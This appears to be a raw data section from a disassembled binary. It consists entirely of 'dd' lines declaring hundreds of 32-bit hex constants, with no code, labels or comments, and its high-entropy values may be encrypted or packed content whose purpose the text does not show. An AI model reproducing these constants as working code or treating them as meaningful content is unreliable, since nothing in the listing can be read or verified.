		dd 92518D9Ch, 26841F0h,	97E1FCB5h, 0EA350005h, 1E782F69h
		dd 0D000347Bh, 0E9703C1Fh, 0BFDC70DDh, 4073CA5Eh, 92EA6E8h
		dd 0AC3EE93Ch, 0AE000C32h, 0B3536EB0h, 0C30F6DB8h, 0D9EBC0E5h
		dd 0B46A5E0Ch, 0DEE09CB0h, 82A7E927h, 0E081470Dh, 61343644h
		dd 2FD6F653h, 36E02BF9h, 0A3F1139Eh, 6E18B121h,	6A1FAD45h
		dd 54EB04AFh, 17BF0064h, 954BCF03h, 0EE4AB5E2h,	14A7A6DBh
		dd 0A1B8B7CEh, 0DD8A2BEBh, 0E3A21A2h, 5E5D5600h, 785097C1h
		dd 16173B32h, 304D445Bh, 0E453E2Dh, 7D1FB756h, 0E50B4D5Dh
		dd 0C09BE846h, 90A17877h, 8A059009h, 0F6C85708h, 214E7369h
		dd 2812D2FCh, 20CADDF9h, 2B846E6h, 42C05D5Eh, 0C994EEE9h
		dd 9555962h, 3FB8571Dh,	4859D668h, 0DA70846Ah, 9815BB18h
		dd 0C99F9BB7h, 30257659h, 5A2F64F8h, 5B5CEC0Ch,	0BBE08CACh
		dd 5A3F6FE0h, 0A1CB031Bh, 0B0081903h, 0A36E1F3h, 4FE96AFDh
		dd 0F1EF011Fh, 2E378471h, 0AD3FE906h, 0E332010Dh, 9CE91722h
		dd 0C0907EDFh, 2D5C9FC3h, 7BF07535h, 48A96E20h,	45586066h
		dd 0BB56417Dh, 4B5792F2h, 20604CB2h, 0CFE93259h, 481AC559h
		dd 8DEE4B7Ch, 686A0848h, 489550F6h, 9FD18E59h, 0B1B3CA18h
		dd 0D8405D81h, 3E3E54EBh, 9893426Eh, 843AAD1Ah,	62D6CC1Ch
		dd 0FA09BF72h, 0C89EADD0h, 54B56878h, 1BE5F0Dh,	43A475F9h
		dd 2B457FE9h, 36E8FD1h,	0FA943078h, 207BBB13h, 0BE338787h
		dd 0B9510700h, 0A01F5428h, 0AFCE5C31h, 46469225h, 0E4685025h
		dd 26C92D9Eh, 0F8956DE4h, 4FF10082h, 13BE0A02h,	0F55EFDB0h
		dd 0EE6BCC1h, 59A1FA38h, 7B396E83h, 8A781FF9h, 2D5D5C00h
		dd 63A63C1Bh, 5D82914h,	75564E07h, 74D98604h, 0BDCBF4F2h
		dd 51A49D56h, 0E4C23058h, 8708D2D0h, 0F12587B0h, 40C3E9CFh
		dd 0C16DC54Eh, 996DB02h, 0D7505DEAh, 0FD4894E3h, 515F2DA0h
		dd 928489E1h, 0E96396F3h, 846C9102h, 16974534h,	0BF41916Ah
		dd 8955C603h, 5DEF91D5h, 137E6824h, 0AA191C5Eh,	5A089450h
		dd 0E94A3E8Bh, 0C1378512h, 0C34099F2h, 0A1D6B5BDh, 95C7FB70h
		dd 0C7DD009Ah, 0EEF52577h, 0A171BF80h, 0EC1E3F8Bh, 5592187h
		dd 4328DBA5h, 0F1FCE95Fh, 3E74F1E6h, 9753ACE0h,	82842F30h
		dd 0ACF0DF83h, 9D74E60Eh, 0E9EE4A38h, 3713B65Eh, 412F8BFBh
		dd 0C31668Eh, 1C8D5DE9h, 15681C5Eh, 36D72D75h, 0E979A878h
		dd 12BF92BEh, 0EF2D2C68h, 0BEAA838h, 515C43AEh,	8A3287Fh
		dd 8FA35913h, 9F3BCF40h, 0CEFE0123h, 1D9F3A3h, 0EF819D16h
		dd 0CAE886D2h, 986DEE4Fh, 132A9731h, 0B3E7EB75h, 9165A2Ch
		dd 4D7CB298h, 48B1F165h, 2F5EB86Fh, 11ED9AFDh, 0E74977F0h
		dd 0F2569730h, 73549D38h, 50600B4Fh, 974B5B8Dh,	0A201343Fh
		dd 61730B49h, 0F77402A1h, 63550767h, 0D028887h,	9F5D77BDh
		dd 23C35F30h, 3A933404h, 12FE4DBBh, 0F898FB5Fh,	0BA5825E9h
		dd 17DAE298h, 0B12EC6A6h, 2D12D48Fh, 9F920967h,	0C8985743h
		dd 57C98DBBh, 0D5987F54h, 0A5A88682h, 3E261EF1h, 961DDF11h
		dd 0E82ADDEFh, 60AB12E9h, 6E3A9500h, 3FD2B48h, 2C2603D5h
		dd 41C7BD41h, 913E2E40h, 2D073F7h, 47F6BE56h, 30FE670Bh
		dd 296CC601h, 0A93031F1h, 0CF351FF3h, 0B8D89279h, 80483CD5h
		dd 1352532Bh, 0B297C7E9h, 4BAF0E7h, 167B4C32h, 0CDB0BF29h
		dd 0B42B1E5Dh, 0FEC3525Fh, 3C8002A4h, 0AC1869F2h, 0A8BDC8F7h
		dd 73C74B0Bh, 601A8F50h, 8169B73Ch, 6DFA3AE3h, 9C0A0CAh
		dd 1A963304h, 7009D889h, 0E220D3A2h, 5443C2F5h,	24BA166Bh
		dd 0F5A4B114h, 5CC46478h, 0E022564Eh, 5D3C482Ch, 7AC67F83h
		dd 0F1CCAB68h, 0FCFBB450h, 0E1EFFCAEh, 0B666358Ah, 0AFC68F2Eh
		dd 74AC6967h, 9C227D6Bh, 99DD8528h, 87391A49h, 53F8F102h
		dd 52586010h, 162D5E7Fh, 0B6F3237Bh, 7D1A8A7Eh,	0CD554740h
		dd 89CFD707h, 0EDA558C5h, 91821B80h, 3CE4524Ch,	0D42EA64Ah
		dd 0FFC20EFh, 0C1176FBEh, 0BD368B7Eh, 6D86CE4h,	28755D5Ch
		dd 95FA7D3Ah, 0D5FCDB7Ah, 0BE25E919h, 3616844h,	0A04A4437h
		dd 40001A5Dh, 0CE814E6Ch, 16492CF3h, 0B01DE919h, 6B12BDB6h
		dd 0F0BA07Ch, 77735A5Ch, 0F46F25E0h, 0B483CED7h, 0D3C889C6h
		dd 0A80FCF7Ah, 6472FE2Fh, 0DEAA6862h, 52E9138Dh, 0C4F7D3B0h
		dd 1FEA01C0h, 0AA4910Ch, 5053584Fh, 4BE9E229h, 760D4ADFh
		dd 610EA441h, 74C389D8h, 47179CBBh, 1EB9326Ch, 0D2A0F73h
		dd 0F3E31253h, 29D26BA7h, 8A84F5EAh, 8947D160h,	0EDC565F5h
		dd 26156C03h, 0B9015359h, 45776667h, 0CFD0E4F4h, 0B823507Eh
		dd 0DE873DDh, 0C2976E41h, 0C360F55Ch, 0E9272E59h, 0B743F226h
		dd 18726807h, 6403BE2Ch, 0F522A66Eh, 40C8A5A0h,	4C093582h
		dd 706AE137h, 6B5C9D70h, 0A31EDD25h, 7A20AFA4h,	0B050BFC3h
		dd 2CAB6815h, 376212BAh, 87A2D0F8h, 57687EC8h, 41303B5Ah
		dd 609303EFh, 1798FC1Ah, 4D00741Ch, 0E1CF6851h,	30E93D8Ah
		dd 0B83441A4h, 19370548h, 0B3C4B034h, 4F20AFF1h, 13472423h
		dd 5F2F0200h, 25FA0B9h,	0F5CF88Fh, 371EFD21h, 48AA3063h
		dd 0FC83ABBCh, 0D92CF719h, 0EE057AD9h, 0B0BF8465h, 0ADB7DC57h
		dd 93321C54h, 337F53C9h, 0B4F2DB27h, 0A2FB65AAh, 5BBC4F1Dh
		dd 0F09BAE97h, 14D4B34Ch, 81D1D32Ch, 0EF6CF7F6h, 1AD86A09h
		dd 51E92457h, 7303AF8Ch, 0B878C20h, 303A5E42h, 0B702347Dh
		dd 688620E5h, 298F230Ch, 17A208C6h, 2853C801h, 22673009h
		dd 62EDCA29h, 0F20B09B5h, 0BA96253Fh, 516B3FDBh, 0BE7769E2h
		dd 0C05A2068h, 579009B5h, 1F9741A0h, 559F82A8h,	6F70CAB2h
		dd 0FEF7810Fh, 2DD7694Fh, 37D0C49Dh, 0F17EED67h, 2E17E30h
		dd 3B4E68F0h, 7A6140h, 0D03E8C1h, 389A1333h, 60166DB0h
		dd 0C6008D78h, 8C6604EBh, 0E436072h, 947A0873h,	987450B5h
		dd 5D4E5CFh, 0A3E41361h, 0E9BE026Fh, 0A8D59D0Eh, 0E2279D42h
		dd 0EBB081F5h, 0FC407B13h, 4A4432D3h, 7F87AC46h, 7E77E70Ch
		dd 0CC7CA9Ah, 0EFEDF1DFh, 1213B58Eh, 58133C6Fh,	2DA8E3EAh
		dd 8A690921h, 4EDA00ECh, 2C5648ACh, 0B6157E15h,	42A6E126h
		dd 0B901A1EBh, 13D95A20h, 0FB18AA0h, 0CF014C1Fh, 1208EF0Ah
		dd 2A44BF59h, 27F894B8h, 0C5445D3h, 5215E45Fh, 50761014h
		dd 48604A1h, 0B1C778ECh, 38D65561h, 1B79C16Ah, 0D57CDA33h
		dd 7F16D280h, 653EE930h, 0C2E8BD31h, 5C05F207h,	0A932CAFh
		dd 801EB369h, 5F7EEE7Ah, 20DEBD62h, 74496612h, 6A3AD768h
		dd 548144D1h, 60276859h
		dd 0E407CD2Fh, 0A7257A1Ch, 0C2105E4Dh, 6B0F9D95h, 2D96752Ch
		dd 5225D4BDh, 515E6EC0h, 76B53B7h, 0A52E1FC6h, 4194F909h
		dd 5F59FE08h, 0AF5EE985h, 87428CEEh, 0B458F340h, 8831881Ch
		dd 0BF5714h, 2866423Ch,	12762DBFh, 34F6EFBh, 836F2497h
		dd 0E23E80F4h, 55401671h, 3E3600BAh, 5BDF3125h,	0FA157EB8h
		dd 10F7FED7h, 9D50AE54h, 0B30548EDh, 5D2B4000h,	62D02D20h
		dd 5452422Eh, 606EEA10h, 48572CA1h, 0B0F53C43h,	9FB40FB8h
		dd 21252800h, 0C1487BB1h, 80664BDh, 0F832F0FAh,	0FCC291Dh
		dd 0C62817BFh, 4BEEE716h, 0DC5ED572h, 122ED58h,	3128E463h
		dd 6B46E9EEh, 9A0584F6h, 0FE6114h, 52367393h, 0EA27E912h
		dd 0E79D1E5h, 0A1945CB2h, 7BD3A350h, 5E837559h,	28ABF801h
		dd 0B9FEE686h, 3D322B3Fh, 0D1F79841h, 5B37680Bh, 0F37E262h
		dd 0C95E6ABDh, 5D480521h, 756FF87h, 6FFCEA5Eh, 6DC70A33h
		dd 6DADE9C7h, 8CAE3124h, 62605591h, 0FB03A3D2h,	1838FEEAh
		dd 0B5707CAh, 0B5C76FADh, 9F29E50h, 0D26477D7h,	0E4F7B20h
		dd 35B9F181h, 6A650B8Fh, 3C98BD9Ch, 699B1718h, 835F840h
		dd 813001h, 677C92C5h, 13B7E950h, 0D9BB20C0h, 0B765AC32h
		dd 1A1CEFDAh, 29886125h, 86B1205Ch, 0E90C0B0Ah,	2AF676F3h
		dd 24C0E2D0h, 1B280Fh, 42355BF2h, 0D052891Dh, 5868CFF6h
		dd 48CAE9D3h, 0E6A4BE09h, 0DA52137Ah, 1E549FCh,	5E0D4367h
		dd 37252A67h, 7E9BBD80h, 0FB1B4B79h, 5016DA58h,	5AFA2E25h
		dd 669F1445h, 0CB6E6204h, 0FB98C03Dh, 54E761Ch,	805C794h
		dd 8DE08EE9h, 7C1F02B8h, 0C6297A6Ch, 1756DEE2h,	0C59E752Fh
		dd 4B5019A2h, 4543DB9Fh, 2573FC55h, 0AD38F629h,	50A111FFh
		dd 0EE689434h, 93C7911Fh, 0F90AB054h, 0AE5F344h, 7C217B43h
		dd 0E18939FEh, 59DD34F7h, 0ADC06907h, 7E9F9F8Eh, 1B66CF95h
		dd 0CB4E69A7h, 122EB044h, 15C12909h, 56D3453h, 9F3E1DEAh
		dd 2DC8942Fh, 0A8E90C07h, 98CB6B92h, 2E387504h,	3204A4Bh
		dd 61976315h, 2F1838h, 33FF1CB2h, 5BB3E958h, 3EDDA5BBh
		dd 4B1B8102h, 0B7C1FF1Ch, 550741F5h, 921EA08Bh,	0F7B1BB27h
		dd 0A95C38BAh, 558C5296h, 0BDE071E9h, 14A0766h,	0E9B18CFCh
		dd 1BC47AFCh, 8746E2FEh, 570B8DE1h, 11144439h, 83059E1Bh
		dd 7EC0C94Ch, 0E79027B2h, 1694FB20h, 2C93D3F7h,	0E213BF8Ch
		dd 0DA0B4E7Fh, 0A68605E7h, 5148F7E8h, 9F696E10h, 0BF17C52h
		dd 0F752313Eh, 0D34574D9h, 56FCA426h, 0B03BDA01h, 0E9F8294Ah
		dd 0C430494Bh, 10663111h, 0B800461Ah, 49653A9h,	0E12220Dh
		dd 0DCA86A61h, 35CD8180h, 117BF20Ch, 0E5DFAD2Fh, 0E5DD6B4Bh
		dd 0ECF5495Eh, 0B4E912DBh, 2A59C98Ch, 91DD71FEh, 4E65736Ch
		dd 7FD739BBh, 52167DADh, 0DBCCAB9Dh, 431A2871h,	0AAC14B9Dh
		dd 2FEC934h, 7275448Bh,	0A17C72E2h, 0BB5AF3C0h,	0B0D7FA06h
		dd 61BD4141h, 7063A8F1h, 0FD68E808h, 1D6D060Bh,	120B0D02h
		dd 72520529h, 0A3DA2FA6h, 850339C6h, 0BF228B1Bh, 0E90B0C87h
		dd 0AC24B6E3h, 0F197FAECh, 6A7702EAh, 4B5D1F5Fh, 2B31B081h
		dd 5D80C128h, 25931A8Ch, 5CD40D7h, 0A6773133h, 53D19395h
		dd 5110FB76h, 4E4B3044h, 7B0D65FEh, 4C4FFA38h, 68C4D364h
		dd 0D22197E5h, 0DD097C3Ah, 9F3186D0h, 0B151AC9Ch, 73CB28E0h
		dd 53C35859h, 52859678h, 38676041h, 8CBF04A2h, 5480D84Dh
		dd 9F595FFBh, 6AD79CE8h, 0C17F030h, 27C60A3Ah, 0B6805D67h
		dd 0FFD823E9h, 42057BB7h, 26EB73E9h, 9C4E629Fh,	0DDA77B7Bh
		dd 9CE9CC98h, 0C5E5C054h, 0B706FE0Ch, 2E560C22h, 1367432Bh
		dd 593AF0A6h, 65E9F99Fh, 9E8DAEE2h, 0C5ABD630h,	8144F251h
		dd 0F0565FB1h, 99D21EDFh, 72F0F8D5h, 0CA254AD9h, 9624C4Fh
		dd 788F7DEBh, 82190BDDh, 0A309A770h, 107DE32Bh,	0CCEF2915h
		dd 0B40ECDA6h, 0E4805107h, 730C055h, 7AFEDCF6h,	8DF40BC4h
		dd 3CDCE388h, 74AF3424h, 81BE50A5h, 351A0202h, 44AA90E9h
		dd 58B10DE0h, 0DCA863F1h, 1224D717h, 65064079h,	30D3A1Dh
		dd 39A92A03h, 0F610F301h, 77766A20h, 0AFFE3752h, 0A8CED3DFh
		dd 3A45823Eh, 23ABCF3Eh, 0FA8C584Eh, 6B762C01h,	2DE4058Ch
		dd 1817070Eh, 891EE94Ch, 28CF6BA3h, 10A3BB84h, 0AAE2AF93h
		dd 6015E909h, 0C98BAE7Eh, 0C918F9B7h, 20FF2932h, 0AF6C155Dh
		dd 7500B717h, 35685753h, 0E8B65C2Dh, 9D92E93Ch,	6E8CF20h
		dd 0B248FF05h, 64BB4EADh, 41F9BA54h, 6520596h, 0C1F2BFB2h
		dd 0E6FB254Fh, 30E92490h, 0D8FBDB17h, 0B92768C4h, 0C07E5E46h
		dd 217D753Ch, 0D1A5BA04h, 0F8BE50E7h, 0B5F20276h, 406BF557h
		dd 281C08B2h, 0F9903B1Fh, 66015D22h, 1784149h, 0F10870D3h
		dd 804F3A97h, 0E5ACF51h, 7D495877h, 5874193Dh, 4B045109h
		dd 0AA2CDBE7h, 2DD001D0h, 0B3741394h, 9BC5AD52h, 776E8ACh
		dd 0EAF9B05Ch, 0EC957B13h, 44C009EDh, 7A5764F0h, 4DC51CC2h
		dd 0E76892E1h, 0EEEC5A7Dh, 16C5370Bh, 154AC352h, 0F87BE5F1h
		dd 6BA3E536h, 13B933C4h, 0A7E022FBh, 28015157h,	39A60C2Ch
		dd 0F4C03B82h, 758E3516h, 0EC4683C3h, 0FB81E994h, 282A406Fh
		dd 505BEBEFh, 0EB4928F2h, 30BCC300h, 0BDE987ADh, 0D1A3735Eh
		dd 958AD87h, 45B371DFh,	8853D1F6h, 0E82893FDh, 211AD5EAh
		dd 25D8A53h, 0E7767D58h, 0B028A95Ah, 4AEEE9B1h,	68E7D030h
		dd 8BC61289h, 9AE9902Bh, 2D0DCB6Eh, 70A40AD6h, 0B4225913h
		dd 76EE5003h, 948D2D5Eh, 0A46F0559h, 0ED913479h, 0A62E6B69h
		dd 2094899h, 0AB6608B8h, 572776Eh, 0FA235709h, 0A1D25D4Eh
		dd 4564F8F7h, 0BD205126h, 80092A10h, 54D047E3h,	22716813h
		dd 4D3BDECh, 0ABFD5E4Fh, 3E302290h, 23414842h, 0E62BC332h
		dd 9FC5947Dh, 0CE0839DBh, 6AF827D2h, 1DCB74F0h,	929AE987h
		dd 2DA4CF7Bh, 0A8895D68h, 9CF526A9h, 0C19197ABh, 7E04E354h
		dd 0A5F6F1Fh, 0EE1C41A8h, 4A0B3FF8h, 98D077E9h,	0FFA589B5h
		dd 5316444Eh, 4E8B0F68h, 8DF5B26h, 5E177610h, 61483EE3h
		dd 114AB606h, 0D90B802Ah, 7616697Eh, 5FA3379h, 0BB600660h
		dd 4FD2475Dh, 0D144F012h, 5BE9E309h, 82EC7099h,	0AED9777Eh
		dd 2497E68h, 4877CB94h,	2D84F61Ch, 6A78FE95h, 0E973C895h
		dd 4D859557h, 128FE651h, 0FB8DC678h, 0D0BEF701h, 60D2A065h
		dd 2C308E67h, 107C1DC5h, 4C26647Dh, 4BF20B0h, 0E5E3B6Ch
		dd 0AAD9C24Fh, 39C3975Ch, 0E6EF840Bh, 6AEF7FE5h, 90A159A2h
		dd 0EAC100C0h, 0C739007h, 0C3616DD9h, 0CF98A734h, 41FFDBF7h
		dd 822A4B5Fh, 642E1F0Ch, 39A0D424h, 0CA10851h, 80202014h
		dd 4E5AD794h, 53E6415Eh, 0D8AB6852h, 0F4980FE2h, 1122C14Eh
		dd 4978715Ah, 0CEC5DD76h, 0A85956EEh, 0C281E5C3h, 6907978Ch
		dd 0B86C30FDh, 0CEDE95C9h, 0C286D452h, 0B800258Ch, 0EF6A6CBCh
		dd 0D20797FCh, 48D3EA14h, 0F7654A5Ah, 28AE9671h, 4130E9C9h
		dd 15F57714h, 37491F45h, 4C5D1831h, 0CF2D571Ah,	0F8DB4323h
		dd 13CCCD81h, 0EF285846h, 0FD4D4CD0h, 177325Bh,	90404938h
		dd 753CD499h, 6829923Eh, 3ADF7EE8h, 0CE6FFEC0h,	0A2F82B04h
		dd 0FD246885h, 78893079h, 0D6D7AB3Dh, 4232130Ah, 49EE685Ah
		dd 0FF7A1FD4h, 762F7947h, 5B584002h, 371FCC0Dh,	3C0B1872h
		dd 63D5FEBAh, 1F842375h, 0DA53A5BCh, 96F120FFh,	0C70139B6h
		dd 18DB6EF0h, 3406F278h, 0C0BD45Ch, 0CB4F7209h,	9576503Dh
		dd 30605D7Ch, 0EB19E9C3h
		dd 83EFBC50h, 9011F21Eh, 729C0F2Eh, 25041C48h, 0BEF7ABC8h
		dd 97EC984Fh, 286B4C41h, 8B6032E2h, 6555C261h, 4F337BC9h
		dd 0A579B859h, 55C00FFBh, 1F213BE6h, 448BE505h,	3BC86C7Fh
		dd 1A3A24EBh, 0A70B0B92h, 0F08C65C8h, 0AC2FDF24h, 0F9C87FA5h
		dd 0E13C18B1h, 6ED9A477h, 34C10820h, 71831AB4h,	0A212163Eh
		dd 0C698C479h, 6D664EBh, 79EE0EC5h, 0CD4E72ECh,	0C79DEBA8h
		dd 0C40A690Ch, 4BBBB8FDh, 0E9C6CFA3h, 0A295BF7Fh, 56C0E25Bh
		dd 42156016h, 989D1493h, 0B9D54A0Dh, 0B0F5ADFFh, 54685181h
		dd 2FE9E7E1h, 8E7EBEBFh, 14D4F6ECh, 95284B4Eh, 0F158E917h
		dd 0C1AC3ED4h, 0BBCFCA84h, 502AA3DAh, 705890CEh, 931CBD01h
		dd 0B665F698h, 26905697h, 48EF40F1h, 0E928533Dh, 0B6A8EA07h
		dd 0CEBF00AAh, 0D16AA536h, 0EB92FFBh, 0E8F86935h, 2DE938E1h
		dd 0D3CCA043h, 95D92D93h, 8FFFF689h, 4CE89C6Dh,	67ECF0EDh
		dd 8F608228h, 0A777FB05h, 0C9FA5965h, 25C3368Fh, 0CF187D56h
		dd 0C49A8EE9h, 243D459Dh, 0BC4C1776h, 4214C9F4h, 0CCF657FDh
		dd 0FB1B035Ah, 105258D1h, 9F101600h, 0F129580Eh, 0A84C67BDh
		dd 5B8040A2h, 62DB79BDh, 0F509AC3Dh, 9A670C83h,	1AF2610Fh
		dd 0F99B69B1h, 0A85812C4h, 0C03CD96Ah, 0EC126622h, 5AB3BACDh
		dd 29E962D2h, 96616E5Fh, 0E1F48CBAh, 0D6CFC645h, 68A944F2h
		dd 22C431E8h, 46767953h, 0AE870212h, 0D085D0B2h, 20FCB248h
		dd 4AF7F633h, 0E509E8CCh, 2531DAEAh, 62387CE9h,	2D186590h
		dd 0DECEB7EAh, 770FF59Dh, 1E6331E9h, 881FD2A5h,	1602362Ah
		dd 0A021D361h, 8DC931A3h, 0B0B9A14Bh, 0D39EB2Bh, 57C9F332h
		dd 11398882h, 2CD6B800h, 0EC154AE8h, 4FA5804h, 231043Ah
		dd 0F62D23B0h, 12DE0618h, 9F05A1E9h, 1368C10Bh,	920D510Ch
		dd 478DB008h, 0FA01C895h, 7FF6277Bh, 5C82D9F1h,	0F0B9E943h
		dd 0D18839DDh, 0BE5E9D48h, 0D5F12D0Bh, 28EB104Ch, 1FBB06F2h
		dd 12ACB779h, 74B07EBh,	916361CDh, 0AF21E903h, 0C8125F55h
		dd 0D99353C0h, 8335482h, 173E5DF9h, 49A89CDAh, 7E308583h
		dd 8B124BD9h, 5058C3E5h, 4D17F6FAh, 0D700AE93h,	9BBCF81h
		dd 27983CD3h, 50F1B106h, 13E6314Dh, 28FA9BE9h, 68FB2994h
		dd 438D84D1h, 55F10112h, 6E3CDD3Bh, 6FC5A007h, 9F017A75h
		dd 6C0C5EC2h, 0E6BD1880h, 64E9B233h, 0C3B71E60h, 146C3980h
		dd 0EB504310h, 0CD408427h, 51EE5EB3h, 9D444A41h, 52F8B5DDh
		dd 0F347C154h, 60FB75D1h, 89BDF5Bh, 6F30E7A4h, 5EBBB53h
		dd 2918DC4Ch, 6D9F19DFh, 7223D859h, 7A6E5B5h, 5A10A2BAh
		dd 0BBF508A0h, 90CD920h, 7C19B44Bh, 0CEE61353h,	0AF5E1364h
		dd 750C435Ah, 0A8404FEAh, 0AE5FA4E9h, 0D4C4FFB8h, 15A099Eh
		dd 0BD76B458h, 20355D6h, 1C68BAE5h, 809830Eh, 38A93025h
		dd 0BD95BAF7h, 4A87440h, 31BB2BF5h, 34E4DDBEh, 71246862h
		dd 69C27329h, 0E16EFEA0h, 6B188F68h, 9D6C732Ch,	3ED32778h
		dd 94E8BBBh, 0B307C768h, 0EA18ABFh, 0B91DCA6h, 6021D744h
		dd 7DF1BAC1h, 26765B6Eh, 6F63EA05h, 65A92A01h, 0FA790841h
		dd 9421A10h, 762C0F68h,	0B1F4725Eh, 253DA007h, 97401D4h
		dd 0E7775A0Ch, 0C1E9843Eh, 0BAE7D54Fh, 870425C5h, 0B704CC8Dh
		dd 0FAF28388h, 0C532D0A2h, 0C658A594h, 9D1AD930h, 2D015EEBh
		dd 0A9F7F685h, 432F85C9h, 0DFC496A8h, 3868A47Eh, 131E5C50h
		dd 1FB83212h, 0AC7FAEE1h, 1E12F5EAh, 5EC1F484h,	0DD2BA51Bh
		dd 0D8E62FDFh, 4B82AB4Eh, 0B0ED7D66h, 0C0870290h, 0F38070E3h
		dd 6249E9CCh, 8AD5BC1h,	5A1DB44Bh, 1C7FFEEFh, 0AF18BD1Bh
		dd 0B34846E9h, 84E68065h, 90658767h, 1D3B0BD5h,	0F024C3Dh
		dd 0FEA3592Ah, 0BB161E1Ah, 0CAEAA2DFh, 0B8401042h, 0CF41E4Bh
		dd 501AB43Fh, 0DD80B027h, 9557E029h, 148DAA1Eh,	0D186E580h
		dd 0F5512C86h, 0B85EF500h, 6EFD7D92h, 0D8E84B29h, 790BEFE7h
		dd 0F576692Fh, 80977C2h, 0E9536510h, 23CE1C2Ch,	0BE4876ADh
		dd 5D5C377Bh, 0D5AB65B7h, 64322D15h, 0D86821F1h, 1A08FA1Dh
		dd 40680994h, 0B24B1857h, 0CAFE2D28h, 0F2F17264h, 0FDB85402h
		dd 0F70BCD67h, 0D0BF29F9h, 83312C6Fh, 497B1230h, 725B581Bh
		dd 0E90CDE11h, 2F876E82h, 65E83641h, 93239E83h,	6EAFA404h
		dd 0C7A70162h, 98207F58h, 5B28437Fh, 0F7E6C295h, 2560271Ah
		dd 3913C066h, 75F029ECh, 0BEC34BDAh, 8EA02921h,	218BA072h
		dd 0FDC9A4D6h, 0FA6C0709h, 0D882E65Eh, 0E9E5545Fh, 34C80AFEh
		dd 518508h, 8801092Dh, 0C16F8918h, 0EE50E42Dh, 6EE1E3FAh
		dd 2DB1F6ACh, 0ACEFC7Ah, 0DD4D038Eh, 60B7281Ah,	82BE4A83h
		dd 95893CF7h, 0C4463EEh, 0E3FFFA22h, 93F9B66Eh,	192B3A00h
		dd 9FD15B7Eh, 0F36D4B40h, 0A0D24025h, 904A794Dh, 485D6849h
		dd 295E0907h, 9789647Fh, 0E70CEB71h, 5DF7768Eh,	81026FD3h
		dd 8A13DDE3h, 0E8C1E3F5h, 0A161F336h, 0F86BCC8Eh, 11E5B729h
		dd 0DF68F743h, 557C8A4Dh, 0CFC20C51h, 0D7880095h, 0E739805Ah
		dd 92F782F6h, 4666FD28h, 87CD598Bh, 0E965644Ah,	4072E7Ch
		dd 0AF26F6AFh, 0AA4AA54Ah, 777A82DEh, 0C325BA6Ch, 81266643h
		dd 89505EC4h, 0A04AEAD1h, 3F29BDF7h, 0EE100122h, 0D030139Eh
		dd 0A07135FEh, 510250E1h, 0D6411068h, 6635F6Ch,	395A44D8h
		dd 10E9D130h, 4C277D0Eh, 5C0E5C55h, 514F1E80h, 7601F0B4h
		dd 587D9D1Dh, 0C2064405h, 0E40CA3C6h, 3F0802EFh, 1C87586Ch
		dd 272C4755h, 472509D8h, 20216656h, 0F8959215h,	0EE6F50F1h
		dd 0EED29F10h, 47D7412Fh, 14103F23h, 0ED8009CFh, 568EDDBCh
		dd 0F505E74Fh, 0D0A0BE93h, 737C97B3h, 28595A80h, 195866C7h
		dd 2C6AB551h, 8AC5CC83h, 9B609A90h, 1C1BA6Eh, 0D07AF1D7h
		dd 0C5E4C2BCh, 8B18F727h, 4B36D678h, 4913C85Dh,	38BF2E37h
		dd 909302E3h, 8BD7C68Fh, 66FC4964h, 0D505FA2Fh,	0C5F2B50Dh
		dd 0F816D385h, 1E0EA13Eh, 0D311286Fh, 4358099Eh, 48B78025h
		dd 9B405E9Fh, 53F8E8CEh, 284F60B3h, 68C043BFh, 3D2F2DDDh
		dd 0EDD9489Bh, 0AB2F097Bh, 0F17E5942h, 0F7386878h, 41F68A6Fh
		dd 9D607FFFh, 5F6866EAh, 13DB0C7Ah, 0ED0BEECDh,	2EF0231Fh
		dd 0FD6B7Eh, 882BE100h,	6886C17Eh, 6E18DA27h, 8053EF5h
		dd 8E65D5FEh, 0BEB710B9h, 8F13593Bh, 0F75EACAFh, 0CAB178F5h
		dd 1CD833Fh, 210B4A9Eh,	846BBE4Dh, 2DFA06DEh, 3F66495Ch
		dd 0D8FF8013h, 0E59E5ADAh, 9768162h, 70623002h,	0D712CC5Dh
		dd 14B245ABh, 0EF73919Dh, 0C84A2866h, 4DE9871Ch, 0D97709B1h
		dd 90BD61E2h, 8AAB2451h, 0B2DCB40h, 80D7CECh, 720FEFCh
		dd 44855B4Eh, 0C58D1CAh, 848BA9B5h, 87034EDCh, 64A4AD5h
		dd 0E3BD0481h, 0B17E7B35h, 53AD2BAFh, 7472E9B1h, 7C955FF7h
		dd 86185018h, 98286A8h,	484C6BDh, 31A81FD0h, 0A44A81BDh
		dd 0C8E42AF0h, 3F1A4145h, 202DC9A4h, 2109637Bh,	58A4E9FAh
		dd 0AADBBD26h, 429EBF01h, 1C600B6Bh, 0E52E004Eh, 84B85067h
		dd 3600C97Ch, 0D625D8F7h, 273DC77h, 743D2D48h, 0EB5DB464h
		dd 0AC2EA8Ah, 0AD87093Ah, 51EB8CC1h, 0C21B748Dh, 0D260D457h
		dd 9FF4C55h, 7FEA0791h,	2E37E076h, 0E18F20CCh, 0ACC07096h
		dd 20ECA5DEh, 0E125C53Fh, 665C0D42h, 4B0DEF82h,	56F98F8Bh
		dd 5D581D82h, 68852A47h, 0B8606F75h, 2A67A5Dh, 85A70512h
		dd 385CED59h, 0DD47AF93h, 0A0A2CBBAh, 4032DC2Ah, 3E66E339h
		dd 11B8095Ah, 0BEB97A15h
		dd 5E91AA97h, 0A33E94CCh, 0A5BF9D44h, 9EA11402h, 0F8F9421Dh
		dd 0B9E73003h, 247F593Ch, 0ADE8C4FDh, 3EE173Bh,	0EFA24A01h
		dd 0F5407B06h, 4F935BC0h, 404DE940h, 5D5A5E08h,	7C85B5BDh
		dd 0F0B33548h, 32F2622h, 705D5E27h, 0FC05DD51h,	0C8B52D8h
		dd 939FD1BDh, 6B71BA54h, 3D813A1Fh, 0A72F66EBh,	4A0C9F59h
		dd 0ED3FF209h, 0A02A129Bh, 0B95051D7h, 9F2D5CAh, 0A5906798h
		dd 477A7514h, 0E60B7EC8h, 5D749A1Ch, 373A5A80h,	0E9270D72h
		dd 0D7ED622Fh, 38C92279h, 0C85AD16Fh, 0CEC80212h, 892F652Dh
		dd 0F6C2A9E9h, 0FCA414FDh, 0CC895DF7h, 6366D817h, 77EACE13h
		dd 825132F5h, 0DC4CD5ADh, 436C63B3h, 65A8A54Ah,	0EE108B18h
		dd 1A7178F2h, 0DEE95109h, 0A7D9F127h, 364A44FAh, 0BF5FEEBCh
		dd 8F2E3379h, 0E955041Ah, 0B2ABFDAEh, 0CC36C4A9h, 0B23062B5h
		dd 5D035D4Fh, 0AEFAE084h, 0F8A4C0ECh, 639917DAh, 848B15A9h
		dd 0FE2D0C7Ch, 3D195AE8h, 6E363523h, 0C9DF4FB2h, 9A69461Ch
